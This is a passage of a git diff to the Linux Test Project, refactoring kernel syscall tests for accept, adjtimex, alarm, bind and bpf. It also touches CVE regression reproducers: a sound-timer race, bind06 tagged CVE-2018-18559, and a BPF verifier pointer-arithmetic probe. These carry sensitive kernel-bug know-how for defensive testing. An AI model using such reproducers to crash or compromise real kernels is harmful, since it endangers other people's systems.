@@ -123,7 +123,7 @@
 	.tcnt = ARRAY_SIZE(testfunc_list),
 	.setup = setup,
 	.cleanup = cleanup,
-	.timeout = 120,
+	.max_runtime = 60,
 	.taint_check = TST_TAINT_W | TST_TAINT_D,
 	.tags = (const struct tst_tag[]) {
 		{"linux-git", "d15d662e89fc"},
diff --git a/testcases/kernel/sound/snd_timer01.c b/testcases/kernel/sound/snd_timer01.c
index 51591c1..123d1a2 100644
--- a/testcases/kernel/sound/snd_timer01.c
+++ b/testcases/kernel/sound/snd_timer01.c
@@ -50,15 +50,11 @@
 	tp.filter = 0xf;
 
 	while (tst_fzsync_run_b(&fzsync_pair)) {
-
+		tst_fzsync_start_race_b(&fzsync_pair);
 		ioctl(snd_fd, SNDRV_TIMER_IOCTL_TREAD, &tread_arg);
-
 		ioctl(snd_fd, SNDRV_TIMER_IOCTL_SELECT, &ts);
-
 		ioctl(snd_fd, SNDRV_TIMER_IOCTL_PARAMS, &tp);
-
 		ioctl(snd_fd, SNDRV_TIMER_IOCTL_START, 0);
-
 		tst_fzsync_end_race_b(&fzsync_pair);
 	}
 	return unused;
@@ -101,8 +97,9 @@
 	while (tst_fzsync_run_a(&fzsync_pair)) {
 		nz = 0;
 		memset(read_buf, 0, sizeof(read_buf));
-		size = readv(snd_fd, &iov, 1);
 
+		tst_fzsync_start_race_a(&fzsync_pair);
+		size = readv(snd_fd, &iov, 1);
 		tst_fzsync_end_race_a(&fzsync_pair);
 
 		/* check if it could be a valid ioctl result */
@@ -139,6 +136,7 @@
 	.setup = setup,
 	.cleanup = cleanup,
 	.taint_check = TST_TAINT_W | TST_TAINT_D,
+	.max_runtime = 150,
 	.tags = (const struct tst_tag[]) {
 		{"linux-git", "d11662f4f798"},
 		{"linux-git", "ba3021b2c79b"},
diff --git a/testcases/kernel/syscalls/accept/accept01.c b/testcases/kernel/syscalls/accept/accept01.c
index 52234b7..85af0f8 100644
--- a/testcases/kernel/syscalls/accept/accept01.c
+++ b/testcases/kernel/syscalls/accept/accept01.c
@@ -97,7 +97,7 @@
 {
 	struct test_case *tcase = &tcases[nr];
 
-	TST_EXP_FAIL(accept(*tcase->fd, tcase->sockaddr, &tcase->salen),
+	TST_EXP_FAIL2(accept(*tcase->fd, tcase->sockaddr, &tcase->salen),
 	             tcase->experrno, "%s", tcase->desc);
 }
 
diff --git a/testcases/kernel/syscalls/accept/accept02.c b/testcases/kernel/syscalls/accept/accept02.c
index 12a1e3c..7cb3d69 100644
--- a/testcases/kernel/syscalls/accept/accept02.c
+++ b/testcases/kernel/syscalls/accept/accept02.c
@@ -67,6 +67,7 @@
 
 	TEST(setsockopt(clone_server_sockfd, SOL_IP, MCAST_LEAVE_GROUP,
 			mc_group, mc_group_len));
+	SAFE_CLOSE(clone_server_sockfd);
 
 	if (TST_RET != -1)
 		tst_res(TFAIL, "Multicast group was copied!");
diff --git a/testcases/kernel/syscalls/accept4/accept4_01.c b/testcases/kernel/syscalls/accept4/accept4_01.c
index aaab20c..b2f785d 100644
--- a/testcases/kernel/syscalls/accept4/accept4_01.c
+++ b/testcases/kernel/syscalls/accept4/accept4_01.c
@@ -13,7 +13,6 @@
 #include <sys/socket.h>
 #include <netinet/in.h>
 #include <stdlib.h>
-#include <fcntl.h>
 #include <stdio.h>
 #include <string.h>
 #include <errno.h>
@@ -23,8 +22,6 @@
 #include "lapi/fcntl.h"
 #include "lapi/syscalls.h"
 
-#define PORT_NUM 33333
-
 static const char *variant_desc[] = {
 	"libc accept4()",
 	"__NR_accept4 syscall",
@@ -55,7 +52,7 @@
 	memset(&svaddr, 0, sizeof(struct sockaddr_in));
 	svaddr.sin_family = AF_INET;
 	svaddr.sin_addr.s_addr = htonl(INADDR_ANY);
-	svaddr.sin_port = htons(PORT_NUM);
+	svaddr.sin_port = 0;
 
 	lfd = SAFE_SOCKET(AF_INET, SOCK_STREAM, 0);
 
@@ -69,14 +66,16 @@
 
 static void setup(void)
 {
+	socklen_t slen = sizeof(*conn_addr);
+
 	tst_res(TINFO, "Testing variant: %s", variant_desc[tst_variant]);
 
-	memset(conn_addr, 0, sizeof(*conn_addr));
-	conn_addr->sin_family = AF_INET;
-	conn_addr->sin_addr.s_addr = htonl(INADDR_LOOPBACK);
-	conn_addr->sin_port = htons(PORT_NUM);
-
 	listening_fd = create_listening_socket();
+
+	memset(conn_addr, 0, sizeof(*conn_addr));
+	SAFE_GETSOCKNAME(listening_fd, (struct sockaddr *)conn_addr, &slen);
+	conn_addr->sin_addr.s_addr = htonl(INADDR_LOOPBACK);
+	tst_res(TINFO, "server listening on: %d", ntohs(conn_addr->sin_port));
 }
 
 static void cleanup(void)
@@ -158,7 +157,7 @@
 	.tcnt = ARRAY_SIZE(tcases),
 	.setup = setup,
 	.cleanup = cleanup,
-	.test_variants = 3,
+	.test_variants = ARRAY_SIZE(variant_desc),
 	.test = verify_accept4,
 	.bufs = (struct tst_buffers []) {
 		{&conn_addr, .size = sizeof(*conn_addr)},
diff --git a/testcases/kernel/syscalls/acct/acct01.c b/testcases/kernel/syscalls/acct/acct01.c
index 1f88e53..254d7b5 100644
--- a/testcases/kernel/syscalls/acct/acct01.c
+++ b/testcases/kernel/syscalls/acct/acct01.c
@@ -9,7 +9,7 @@
 
 /*\
  * [DOCUMENTATION]
- *  Verify that acct() returns proper errno on failure.
+ * Verify that acct() returns proper errno on failure.
  */
 
 #include <sys/types.h>
diff --git a/testcases/kernel/syscalls/add_key/add_key05.c b/testcases/kernel/syscalls/add_key/add_key05.c
index 2be1b70..71a88d1 100644
--- a/testcases/kernel/syscalls/add_key/add_key05.c
+++ b/testcases/kernel/syscalls/add_key/add_key05.c
@@ -202,13 +202,6 @@
 	return;
 }
 
-static void setup(void)
-{
-	SAFE_FILE_PRINTF("/proc/sys/kernel/keys/gc_delay", "1");
-	SAFE_FILE_PRINTF("/proc/sys/kernel/keys/maxkeys", "200");
-	SAFE_FILE_PRINTF("/proc/sys/kernel/keys/maxbytes", "20000");
-}
-
 static void cleanup(void)
 {
 	while (usern--)
@@ -220,13 +213,12 @@
 	.tcnt = 2,
 	.needs_root = 1,
 	.forks_child = 1,
-	.setup = setup,
 	.cleanup = cleanup,
-	.save_restore = (const char * const[]) {
-		"?/proc/sys/kernel/keys/gc_delay",
-		"?/proc/sys/kernel/keys/maxkeys",
-		"?/proc/sys/kernel/keys/maxbytes",
-		NULL,
+	.save_restore = (const struct tst_path_val[]) {
+		{"?/proc/sys/kernel/keys/gc_delay", "1"},
+		{"?/proc/sys/kernel/keys/maxkeys", "200"},
+		{"?/proc/sys/kernel/keys/maxbytes", "20000"},
+		{}
 	},
 	.bufs = (struct tst_buffers []) {
 		{&user_buf, .size = 64},
diff --git a/testcases/kernel/syscalls/adjtimex/adjtimex02.c b/testcases/kernel/syscalls/adjtimex/adjtimex02.c
index 19ee971..747d832 100644
--- a/testcases/kernel/syscalls/adjtimex/adjtimex02.c
+++ b/testcases/kernel/syscalls/adjtimex/adjtimex02.c
@@ -5,104 +5,148 @@
  *  AUTHOR : Saji Kumar.V.R <saji.kumar@wipro.com>
  */
 
+/*\
+ * [Description]
+ *
+ * Tests for adjtimex() error conditions:
+ *
+ * - EPERM with SET_MODE as nobody
+ * - EFAULT with SET_MODE and invalid timex pointer
+ * - EINVAL with ADJ_TICK greater than max tick
+ * - EINVAL with ADJ_TICK smaller than min tick
+ *
+ * On kernels older than 2.6.26:
+ *
+ * - EINVAL with AJD_OFFSET smaller than min offset
+ * - EINVAL with AJD_OFFSET greater than max offset
+ */
+
 #include <errno.h>
 #include <sys/timex.h>
 #include <unistd.h>
 #include <pwd.h>
 #include "tst_test.h"
+#include "lapi/syscalls.h"
 
-#define SET_MODE ( ADJ_OFFSET | ADJ_FREQUENCY | ADJ_MAXERROR | ADJ_ESTERROR | \
-	ADJ_STATUS | ADJ_TIMECONST | ADJ_TICK )
+#define SET_MODE (ADJ_OFFSET | ADJ_FREQUENCY | ADJ_MAXERROR | ADJ_ESTERROR | \
+				ADJ_STATUS | ADJ_TIMECONST | ADJ_TICK)
 
-static int hz;			/* HZ from sysconf */
+static int hz;		/* HZ from sysconf */
 
-static struct timex *tim_save;
-static struct timex *buf;
-
+static struct timex *tim_save, *buf;
 static struct passwd *ltpuser;
 
-static void verify_adjtimex(unsigned int nr)
+static int libc_adjtimex(struct timex *value)
+{
+	return adjtimex(value);
+}
+
+static int sys_adjtimex(struct timex *value)
+{
+	return tst_syscall(__NR_adjtimex, value);
+}
+
+static struct test_case {
+	unsigned int modes;
+	long lowlimit;
+	long highlimit;
+	long delta;
+	int exp_err;
+} tc[] = {
+	{.modes = SET_MODE, .exp_err = EPERM},
+	{.modes = SET_MODE, .exp_err = EFAULT},
+	{.modes = ADJ_TICK, .lowlimit = 900000, .delta = 1, .exp_err = EINVAL},
+	{.modes = ADJ_TICK, .highlimit = 1100000, .delta = 1, .exp_err = EINVAL},
+	{.modes = ADJ_OFFSET, .highlimit = 512000L, .delta = 1, .exp_err = EINVAL},
+	{.modes = ADJ_OFFSET, .lowlimit = -512000L, .delta = -1, .exp_err = EINVAL},
+};
+
+static struct test_variants
+{
+	int (*adjtimex)(struct timex *value);
+	char *desc;
+} variants[] = {
+	{ .adjtimex = libc_adjtimex, .desc = "libc adjtimex()"},
+
+#if (__NR_adjtimex != __LTP__NR_INVALID_SYSCALL)
+	{ .adjtimex = sys_adjtimex,  .desc = "__NR_adjtimex syscall"},
+#endif
+};
+
+static void verify_adjtimex(unsigned int i)
 {
 	struct timex *bufp;
-	int expected_errno = 0;
-
-	/*
-	 * since Linux 2.6.26, if buf.offset value is outside
-	 * the acceptable range, it is simply normalized instead
-	 * of letting the syscall fail. so just skip this test
-	 * case.
-	 */
-	if (nr > 3 && (tst_kvercmp(2, 6, 25) > 0)) {
-		tst_res(TCONF, "this kernel normalizes buf."
-				"offset value if it is outside"
-				" the acceptable range.");
-		return;
-	}
+	struct test_variants *tv = &variants[tst_variant];
 
 	*buf = *tim_save;
-	buf->modes = SET_MODE;
+	buf->modes = tc[i].modes;
 	bufp = buf;
-	switch (nr) {
-	case 0:
-		bufp = (struct timex *)-1;
-		expected_errno = EFAULT;
-		break;
-	case 1:
-		buf->tick = 900000 / hz - 1;
-		expected_errno = EINVAL;
-		break;
-	case 2:
-		buf->tick = 1100000 / hz + 1;
-		expected_errno = EINVAL;
-		break;
-	case 3:
-		/* Switch to nobody user for correct error code collection */
-		ltpuser = SAFE_GETPWNAM("nobody");
+
+	if (tc[i].exp_err == EPERM)
 		SAFE_SETEUID(ltpuser->pw_uid);
-		expected_errno = EPERM;
-		break;
-	case 4:
-		buf->offset = 512000L + 1;
-		expected_errno = EINVAL;
-		break;
-	case 5:
-		buf->offset = (-1) * (512000L) - 1;
-		expected_errno = EINVAL;
-		break;
-	default:
-		tst_brk(TFAIL, "Invalid test case %u ", nr);
+
+	if (tc[i].exp_err == EINVAL) {
+		if (tc[i].modes == ADJ_TICK) {
+			if (tc[i].lowlimit)
+				buf->tick = tc[i].lowlimit - tc[i].delta;
+
+			if (tc[i].highlimit)
+				buf->tick = tc[i].highlimit + tc[i].delta;
+		}
+		if (tc[i].modes == ADJ_OFFSET && (tst_kvercmp(2, 6, 25) > 0)) {
+			if (tc[i].lowlimit || tc[i].highlimit) {
+				tst_res(TCONF, "Newer kernels normalize offset value outside range");
+				return;
+			}
+		}
 	}
 
-	TEST(adjtimex(bufp));
-	if ((TST_RET == -1) && (TST_ERR == expected_errno)) {
-		tst_res(TPASS | TTERRNO,
-				"adjtimex() error %u ", expected_errno);
-	} else {
-		tst_res(TFAIL | TTERRNO,
-				"Test Failed, adjtimex() returned %ld",
-				TST_RET);
+	if (tc[i].exp_err == EFAULT) {
+		if (tv->adjtimex != libc_adjtimex) {
+			bufp = (struct timex *) -1;
+		} else {
+			tst_res(TCONF, "EFAULT is skipped for libc variant");
+			return;
+		}
 	}
 
-	/* clean up after ourselves */
-	if (nr == 3)
+	TST_EXP_FAIL2(tv->adjtimex(bufp), tc[i].exp_err, "adjtimex() error");
+
+	if (tc[i].exp_err == EPERM)
 		SAFE_SETEUID(0);
 }
 
 static void setup(void)
 {
+	struct test_variants *tv = &variants[tst_variant];
+	size_t i;
+
+	tst_res(TINFO, "Testing variant: %s", tv->desc);
+
 	tim_save->modes = 0;
 
+	ltpuser = SAFE_GETPWNAM("nobody");
+	SAFE_SETEUID(ltpuser->pw_uid);
+
 	/* set the HZ from sysconf */
 	hz = SAFE_SYSCONF(_SC_CLK_TCK);
 
-	/* Save current parameters */
-	if ((adjtimex(tim_save)) == -1)
+	for (i = 0; i < ARRAY_SIZE(tc); i++) {
+		if (tc[i].modes == ADJ_TICK) {
+			tc[i].highlimit /= hz;
+			tc[i].lowlimit /= hz;
+		}
+	}
+
+	if ((adjtimex(tim_save)) == -1) {
 		tst_brk(TBROK | TERRNO,
 			"adjtimex(): failed to save current params");
+	}
 }
 
 static void cleanup(void)
 {
+
 	tim_save->modes = SET_MODE;
 
 	/* Restore saved parameters */
@@ -111,11 +155,12 @@
 }
 
 static struct tst_test test = {
-	.needs_root = 1,
-	.tcnt = 6,
+	.test = verify_adjtimex,
 	.setup = setup,
 	.cleanup = cleanup,
-	.test = verify_adjtimex,
+	.tcnt = ARRAY_SIZE(tc),
+	.test_variants = ARRAY_SIZE(variants),
+	.needs_root = 1,
 	.bufs = (struct tst_buffers []) {
 		{&buf, .size = sizeof(*buf)},
 		{&tim_save, .size = sizeof(*tim_save)},
diff --git a/testcases/kernel/syscalls/adjtimex/adjtimex03.c b/testcases/kernel/syscalls/adjtimex/adjtimex03.c
index 263391c..333cabf 100644
--- a/testcases/kernel/syscalls/adjtimex/adjtimex03.c
+++ b/testcases/kernel/syscalls/adjtimex/adjtimex03.c
@@ -49,13 +49,12 @@
 		TEST(adjtimex(buf));
 		if ((TST_RET == -1) && (TST_ERR == EINVAL)) {
 			tst_res(TINFO,
-				"expecting adjtimex() to fail with EINVAL"
-				" with mode 0x%x", ADJ_ADJTIME);
+				"expecting adjtimex() to fail with EINVAL with mode 0x%x",
+				ADJ_ADJTIME);
 		} else {
 			tst_brk(TBROK | TERRNO,
-					"adjtimex(): Unexpeceted error,"
-					"expecting EINVAL with mode 0x%x",
-					ADJ_ADJTIME);
+				"adjtimex(): Unexpeceted error, expecting EINVAL with mode 0x%x",
+				ADJ_ADJTIME);
 		}
 
 		tst_res(TINFO, "tai : 0x%08x", buf->tai);
diff --git a/testcases/kernel/syscalls/alarm/alarm02.c b/testcases/kernel/syscalls/alarm/alarm02.c
index 9423906..b2fde03 100644
--- a/testcases/kernel/syscalls/alarm/alarm02.c
+++ b/testcases/kernel/syscalls/alarm/alarm02.c
@@ -1,17 +1,17 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
-/* Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
+/*
+ * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
  * Author: Billy Jean Horne
- *
- * Test Description:
- *  1) alarm() return UINT_MAX if seconds is UINT_MAX.
- *  2) alarm() return UINT_MAX/2 if seconds is UINT_MAX/2.
- *  3) alarm() return UINT_MAX/4 if seconds is UINT_MAX/4.
+ * Copyright (c) Linux Test Project, 2009-2022
  */
 
-#include <unistd.h>
-#include <errno.h>
-#include <sys/signal.h>
-#include <limits.h>
+/*\
+ * [Description]
+ *
+ * Verify that alarm() returns:
+ * - zero when there was no previously scheduled alarm
+ * - number of seconds remaining until any previously scheduled alarm
+ */
 
 #include "tst_test.h"
 
@@ -29,37 +29,17 @@
 static void verify_alarm(unsigned int n)
 {
 	struct tcase *tc = &tcases[n];
-	unsigned int ret;
 
 	alarms_received = 0;
 
-	ret = alarm(tc->sec);
-	if (ret != 0) {
-		tst_res(TFAIL,
-			"alarm(%u) returned %ld, when 0 was ",
-			tc->sec, TST_RET);
-		return;
-	}
+	TST_EXP_PASS(alarm(tc->sec), "alarm(%u)", tc->sec);
 
-	TEST(alarm(0));
+	TST_EXP_VAL(alarm(0), tc->sec);
+
 	if (alarms_received == 1) {
-		tst_res(TFAIL,
-			"alarm(%u) signal was received for value %s",
-			tc->sec, tc->str);
-			return;
+		tst_res(TFAIL, "alarm(%u) delivered SIGALRM for seconds value %s",
+				tc->sec, tc->str);
 	}
-
-	if (tc->sec != TST_RET) {
-		tst_res(TFAIL,
-			"alarm(%u) returned %ld as unexpected",
-			tc->sec, TST_RET);
-			return;
-	}
-
-	tst_res(TPASS,
-		"alarm(%u) returned %ld as expected "
-		"for value %s",
-		tc->sec, TST_RET, tc->str);
 }
 
 static void sighandler(int sig)
diff --git a/testcases/kernel/syscalls/alarm/alarm03.c b/testcases/kernel/syscalls/alarm/alarm03.c
index c034182..b010e75 100644
--- a/testcases/kernel/syscalls/alarm/alarm03.c
+++ b/testcases/kernel/syscalls/alarm/alarm03.c
@@ -2,53 +2,32 @@
 /*
  * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
  * Author: Richard Logan
- *
- * Test Description:
- *  The process does a fork:
- *	1) By the value returned by child's alarm(0), check whether child
- *	   process cleared the previously specified alarm request or not.
- *	2) By the value returned by parent's alarm(0), check whether parent
- *	   process cleared the previously specified alarm request or not.
+ * Copyright (c) Linux Test Project, 2001-2022
  */
 
-#include <errno.h>
-#include <signal.h>
-#include <stdlib.h>
-#include <unistd.h>
+/*\
+ * [Description]
+ *
+ * Verify that alarms created by alarm() are not inherited by children
+ * created via fork.
+ */
 
+#include <stdlib.h>
 #include "tst_test.h"
 
 static void verify_alarm(void)
 {
 	pid_t pid;
 
-	TEST(alarm(100));
+	TST_EXP_PASS_SILENT(alarm(100));
 
 	pid = SAFE_FORK();
 	if (pid == 0) {
-		TEST(alarm(0));
-		if (TST_RET != 0) {
-			tst_res(TFAIL,
-				"alarm(100), fork, alarm(0) child's "
-				"alarm returned %ld", TST_RET);
-		} else {
-			tst_res(TPASS,
-				"alarm(100), fork, alarm(0) child's "
-				"alarm returned %ld", TST_RET);
-		}
+		TST_EXP_PASS(alarm(0), "alarm(0) in child process");
 		exit(0);
 	}
 
-	TEST(alarm(0));
-	if (TST_RET != 100) {
-		tst_res(TFAIL,
-			"alarm(100), fork, alarm(0) parent's "
-			"alarm returned %ld", TST_RET);
-	} else {
-		tst_res(TPASS,
-			"alarm(100), fork, alarm(0) parent's "
-			"alarm returned %ld", TST_RET);
-	}
+	TST_EXP_VAL(alarm(0), 100, "alarm(0) in parent process");
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/syscalls/alarm/alarm05.c b/testcases/kernel/syscalls/alarm/alarm05.c
index c60f989..2eeb1c2 100644
--- a/testcases/kernel/syscalls/alarm/alarm05.c
+++ b/testcases/kernel/syscalls/alarm/alarm05.c
@@ -5,10 +5,12 @@
  *	06/2005 Test for alarm cleanup by Amos Waterland
  *
  * Copyright (c) 2018 Cyril Hrubis <chrubis@suse.cz>
+ * Copyright (c) Linux Test Project, 2006-2022
  */
 
-/*
- * Test Description:
+/*\
+ * [Description]
+ *
  *  The return value of the alarm system call should be equal to the
  *  amount previously remaining in the alarm clock.
  *  A SIGALRM signal should be received after the specified amount of
@@ -17,34 +19,17 @@
 
 #include "tst_test.h"
 
-static volatile int alarms_fired = 0;
+static volatile int alarms_fired;
 
 static void run(void)
 {
-	unsigned int ret;
-
 	alarms_fired = 0;
 
-	ret = alarm(10);
-	if (ret)
-		tst_res(TFAIL, "alarm() returned non-zero");
-	else
-		tst_res(TPASS, "alarm() returned zero");
-
+	TST_EXP_PASS(alarm(10));
 	sleep(1);
-
-	ret = alarm(1);
-	if (ret == 9)
-		tst_res(TPASS, "alarm() returned remainder correctly");
-	else
-		tst_res(TFAIL, "alarm() returned wrong remained %u", ret);
-
+	TST_EXP_VAL(alarm(1), 9);
 	sleep(2);
-
-	if (alarms_fired == 1)
-		tst_res(TPASS, "alarm handler fired once");
-	else
-		tst_res(TFAIL, "alarm handler filred %u times", alarms_fired);
+	TST_EXP_EQ_LU(alarms_fired, 1);
 }
 
 static void sighandler(int sig)
diff --git a/testcases/kernel/syscalls/alarm/alarm06.c b/testcases/kernel/syscalls/alarm/alarm06.c
index eee9429..82c0d44 100644
--- a/testcases/kernel/syscalls/alarm/alarm06.c
+++ b/testcases/kernel/syscalls/alarm/alarm06.c
@@ -2,28 +2,19 @@
 /*
  * Copyright (c) International Business Machines Corp., 2001
  * Copyright (C) 2017 Cyril Hrubis <chrubis@suse.cz>
+ * Copyright (c) Linux Test Project, 2002-2022
  * Ported to LTP: Wayne Boyer
  */
 
-/*
- * Check the functionality of the Alarm system call when the time input
- * parameter is zero.
+/*\
+ * [Description]
  *
- * Expected Result:
- * The previously specified alarm request should be cancelled and the
- * SIGALRM should not be received.
+ * Verify that any pending alarm() is canceled when seconds is zero.
  */
 
-#include <stdio.h>
-#include <unistd.h>
-#include <sys/types.h>
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
-
 #include "tst_test.h"
 
-static volatile int alarms_received = 0;
+static volatile int alarms_received;
 
 static void sigproc(int sig)
 {
@@ -38,25 +29,15 @@
 
 static void verify_alarm(void)
 {
-	int ret;
-
-	alarm(2);
+	TST_EXP_PASS_SILENT(alarm(2));
 	sleep(1);
 
-	ret = alarm(0);
+	TST_EXP_VAL(alarm(0), 1);
 
 	/* Wait for signal SIGALRM */
 	sleep(2);
 
-	if (alarms_received)
-		tst_res(TFAIL, "Received %i alarms", alarms_received);
-	else
-		tst_res(TPASS, "Received 0 alarms");
-
-	if (ret == 1)
-		tst_res(TPASS, "alarm(0) returned 1");
-	else
-		tst_res(TFAIL, "alarm(0) returned %i, expected 1", ret);
+	TST_EXP_EQ_LU(alarms_received, 0);
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/syscalls/alarm/alarm07.c b/testcases/kernel/syscalls/alarm/alarm07.c
index 47c30dc..64aed50 100644
--- a/testcases/kernel/syscalls/alarm/alarm07.c
+++ b/testcases/kernel/syscalls/alarm/alarm07.c
@@ -2,45 +2,38 @@
 /*
  * Copyright (c) International Business Machines  Corp., 2001
  * Author: Wayne Boyer
- *
- * Test Description:
- *  By the SIGALRM signal, check whether the previously specified alarm request
- *  was cleared in the child process or not.
+ * Copyright (c) Linux Test Project, 2002-2022
  */
 
-#include <unistd.h>
-#include <stdlib.h>
-#include <errno.h>
-#include <signal.h>
+/*\
+ * [Description]
+ *
+ * Verify that SIGALRM signal scheduled by alarm() in the parent process
+ * is not delivered to the child process.
+ */
 
+#include <stdlib.h>
 #include "tst_test.h"
 
-static volatile int alarm_cnt = 0;
+static volatile int alarm_cnt;
 
 static void verify_alarm(void)
 {
 	pid_t pid;
+
 	alarm_cnt = 0;
 
-	TEST(alarm(1));
+	TST_EXP_PASS_SILENT(alarm(1));
 	pid = SAFE_FORK();
 
 	sleep(3);
 
 	if (pid == 0) {
-		if (alarm_cnt == 0) {
-			tst_res(TPASS, "alarm() request cleared in child");
-		} else {
-			tst_res(TFAIL, "alarm() request not cleared in "
-				"child; alarms received:%d", alarm_cnt);
-		}
+		TST_EXP_EQ_LU(alarm_cnt, 0);
 		exit(0);
 	}
 
-	if (alarm_cnt != 1)
-		tst_res(TFAIL, "Sigalarms in parent %i, expected 1", alarm_cnt);
-	else
-		tst_res(TPASS, "Got 1 sigalarm in parent");
+	TST_EXP_EQ_LU(alarm_cnt, 1);
 }
 
 static void sighandler(int sig LTP_ATTRIBUTE_UNUSED)
diff --git a/testcases/kernel/syscalls/bind/Makefile b/testcases/kernel/syscalls/bind/Makefile
index 00db0e7..cc1d814 100644
--- a/testcases/kernel/syscalls/bind/Makefile
+++ b/testcases/kernel/syscalls/bind/Makefile
@@ -5,8 +5,7 @@
 
 include $(top_srcdir)/include/mk/testcases.mk
 
-bind04 bind05:	CFLAGS		+= -pthread
-bind06: CFLAGS += -pthread
+bind04 bind05 bind06: CFLAGS += -pthread
 bind06: LDLIBS += -lrt
 
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/bind/bind03.c b/testcases/kernel/syscalls/bind/bind03.c
index c2661fb..37a040b 100644
--- a/testcases/kernel/syscalls/bind/bind03.c
+++ b/testcases/kernel/syscalls/bind/bind03.c
@@ -1,7 +1,6 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2018 Michael Moese <mmoese@suse.com>
- *
- * SPDX-License-Identifier: GPL-2.0-or-later
  */
 /* The commit 0fb44559ffd6  af_unix: move unix_mknod() out of bindlock
  * changed the behavior of bind() for STREAM UNIX domain sockets if
diff --git a/testcases/kernel/syscalls/bind/bind06.c b/testcases/kernel/syscalls/bind/bind06.c
index 017e0fc..618cfce 100644
--- a/testcases/kernel/syscalls/bind/bind06.c
+++ b/testcases/kernel/syscalls/bind/bind06.c
@@ -34,6 +34,8 @@
 	int real_gid = getgid();
 	struct ifreq ifr;
 
+	SAFE_TRY_FILE_PRINTF("/proc/sys/user/max_user_namespaces", "%d", 10);
+
 	SAFE_UNSHARE(CLONE_NEWUSER);
 	SAFE_UNSHARE(CLONE_NEWNET);
 	SAFE_FILE_PRINTF("/proc/self/setgroups", "deny");
@@ -100,13 +102,17 @@
 	.test_all = run,
 	.setup = setup,
 	.cleanup = cleanup,
-	.timeout = 600,
+	.max_runtime = 300,
 	.taint_check = TST_TAINT_W | TST_TAINT_D,
 	.needs_kconfigs = (const char *[]) {
 		"CONFIG_USER_NS=y",
 		"CONFIG_NET_NS=y",
 		NULL
 	},
+	.save_restore = (const struct tst_path_val[]) {
+		{"?/proc/sys/user/max_user_namespaces", NULL},
+		{}
+	},
 	.tags = (const struct tst_tag[]) {
 		{"linux-git", "15fe076edea7"},
 		{"CVE", "2018-18559"},
diff --git a/testcases/kernel/syscalls/bpf/.gitignore b/testcases/kernel/syscalls/bpf/.gitignore
index 42365ce..aad9002 100644
--- a/testcases/kernel/syscalls/bpf/.gitignore
+++ b/testcases/kernel/syscalls/bpf/.gitignore
@@ -4,3 +4,5 @@
 bpf_prog03
 bpf_prog04
 bpf_prog05
+bpf_prog06
+bpf_prog07
diff --git a/testcases/kernel/syscalls/bpf/bpf_common.c b/testcases/kernel/syscalls/bpf/bpf_common.c
index ba0829a..c2331ab 100644
--- a/testcases/kernel/syscalls/bpf/bpf_common.c
+++ b/testcases/kernel/syscalls/bpf/bpf_common.c
@@ -38,7 +38,7 @@
 		if (errno == EPERM) {
 			tst_res(TCONF, "Hint: check also /proc/sys/kernel/unprivileged_bpf_disabled");
 			tst_brk(TCONF | TERRNO,
-				"bpf() requires CAP_SYS_ADMIN on this system");
+				"bpf() requires CAP_SYS_ADMIN or CAP_BPF on this system");
 		} else {
 			tst_brk(TBROK | TERRNO, "Failed to create array map");
 		}
@@ -118,8 +118,10 @@
 	if (ret != -1)
 		tst_brk(TBROK, "Invalid bpf() return value: %d", ret);
 
-	if (log[0] != 0)
-		tst_brk(TBROK | TERRNO, "Failed verification: %s", log);
+	if (log[0] != 0) {
+		tst_printf("%s\n", log);
+		tst_brk(TBROK | TERRNO, "Failed verification");
+	}
 
 	tst_brk(TBROK | TERRNO, "Failed to load program");
 	return ret;
diff --git a/testcases/kernel/syscalls/bpf/bpf_prog05.c b/testcases/kernel/syscalls/bpf/bpf_prog05.c
index b2792c5..2be5a2c 100644
--- a/testcases/kernel/syscalls/bpf/bpf_prog05.c
+++ b/testcases/kernel/syscalls/bpf/bpf_prog05.c
@@ -63,6 +63,45 @@
 static char *log;
 static union bpf_attr *attr;
 
+static void ensure_ptr_arithmetic(void)
+{
+	const struct bpf_insn prog_insn[] = {
+		/* r2 = r10
+		 * r3 = -1
+		 * r2 += r3
+		 * *(char *)r2 = 0
+		 */
+		BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
+		BPF_MOV64_IMM(BPF_REG_3, -1),
+		BPF_ALU64_REG(BPF_ADD, BPF_REG_2, BPF_REG_3),
+		BPF_ST_MEM(BPF_B, BPF_REG_2, 0, 0),
+
+		/* exit(0) */
+		BPF_MOV64_IMM(BPF_REG_0, 0),
+		BPF_EXIT_INSN()
+	};
+	int ret;
+
+	bpf_init_prog_attr(attr, prog_insn, sizeof(prog_insn), log, BUFSIZE);
+
+	ret = TST_RETRY_FUNC(bpf(BPF_PROG_LOAD, attr, sizeof(*attr)),
+				       TST_RETVAL_GE0);
+
+	if (ret >= 0) {
+		tst_res(TINFO, "Have pointer arithmetic");
+		SAFE_CLOSE(ret);
+		return;
+	}
+
+	if (ret != -1)
+		tst_brk(TBROK, "Invalid bpf() return value: %d", ret);
+
+	if (log[0] != 0)
+		tst_brk(TCONF | TERRNO, "No pointer arithmetic:\n %s", log);
+
+	tst_brk(TBROK | TERRNO, "Failed to load program");
+}
+
 static int load_prog(void)
 {
 	const struct bpf_insn prog_insn[] = {
@@ -132,7 +171,9 @@
 {
 	int prog_fd;
 
-	map_fd = bpf_map_array_create(4);
+	map_fd = bpf_map_array_create(8);
+
+	ensure_ptr_arithmetic();
 	prog_fd = load_prog();
 	bpf_run_prog(prog_fd, msg, sizeof(MSG));
 	SAFE_CLOSE(prog_fd);
@@ -157,6 +198,7 @@
 	.taint_check = TST_TAINT_W | TST_TAINT_D,
 	.caps = (struct tst_cap []) {
 		TST_CAP(TST_CAP_DROP, CAP_SYS_ADMIN),
+		TST_CAP(TST_CAP_DROP, CAP_BPF),
 		{}
 	},
 	.bufs = (struct tst_buffers []) {
diff --git a/testcases/kernel/syscalls/bpf/bpf_prog06.c b/testcases/kernel/syscalls/bpf/bpf_prog06.c
new file mode 100644
index 0000000..c38dd82
--- /dev/null
+++ b/testcases/kernel/syscalls/bpf/bpf_prog06.c
@@ -0,0 +1,158 @@
+// SPDX-License-Identifier: GPL-2.0-only
+/*
